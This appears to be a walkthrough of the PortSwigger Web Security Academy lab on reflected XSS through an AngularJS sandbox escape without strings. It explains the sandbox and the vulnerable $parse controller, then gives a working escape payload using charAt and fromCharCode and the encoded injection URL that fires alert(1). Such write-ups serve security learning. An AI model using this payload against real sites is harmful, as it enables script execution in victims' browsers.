Skip to content

Reflected XSS AngularJS sandbox escape without strings

Field Value
Platform PortSwigger Web Security Academy
Difficulty Expert
Vulnerability AngularJS Sandbox Escape — No $eval, No Strings
Injection Point URL parameter name evaluated via $parse
Goal Execute alert(1) by escaping the AngularJS sandbox without string literals

Lab — AngularJS Sandbox Escape: No $eval, No Strings

What is the AngularJS Sandbox?

Before diving into the exploit, it's worth understanding what the sandbox is and why it exists.

Analogy: Imagine AngularJS as a restaurant kitchen. The {{ }} template expressions are orders you can place as a customer. The sandbox is the waiter who stands at the kitchen door and stops you from walking into the kitchen yourself and touching the stoves, knives, and gas lines. You can order food — but you can't access the dangerous equipment directly.

The sandbox specifically blocks access to: - window and document (the browser's global objects) - Function and eval (arbitrary code execution) - constructor and __proto__ (prototype chain access) - Any property that could reach outside the Angular scope

So {{1+1}}2 works fine. But {{alert(1)}} gets blocked — the sandbox sees alert and stops it.


What the Vulnerable Code Does

Searching for teto produces this Angular controller:

angular.module('labApp', []).controller('vulnCtrl', function($scope, $parse) {
    $scope.query = {};
    var key = 'search';
    $scope.query[key] = 'teto';
    $scope.value = $parse(key)($scope.query);
});

Breaking this down:

  • $scope.query — an empty object that holds query parameters
  • var key = 'search' — the key name comes from the URL parameter name
  • $scope.query[key] = 'teto' — the URL parameter value is stored in the object
  • $parse(key)($scope.query)this is the vulnerability

$parse takes a string and evaluates it as an Angular expression against a scope object. Here it's evaluating the key name (e.g. search) as an expression against $scope.query. This means whatever we put as the URL parameter name (not value) gets evaluated by Angular's expression parser.

Testing with ?search=teto&kasane=1 adds a second key:

var key = 'kasane';
$scope.query[key] = '1';
$scope.value = $parse(key)($scope.query);

kasane is evaluated as an Angular expression — kasane is just a property lookup, harmless. But we can inject more complex expressions as the key name.


The Sandbox Escape Payload

From the PortSwigger XSS cheat sheet, the sandbox escape payload is:

toString().constructor.prototype.charAt=[].join;[1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)

In the URL (with = encoded as %3d):

/?search=teto&toString().constructor.prototype.charAt%3d[].join;[1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
Screenshot

Alert fires and the lab is solved :P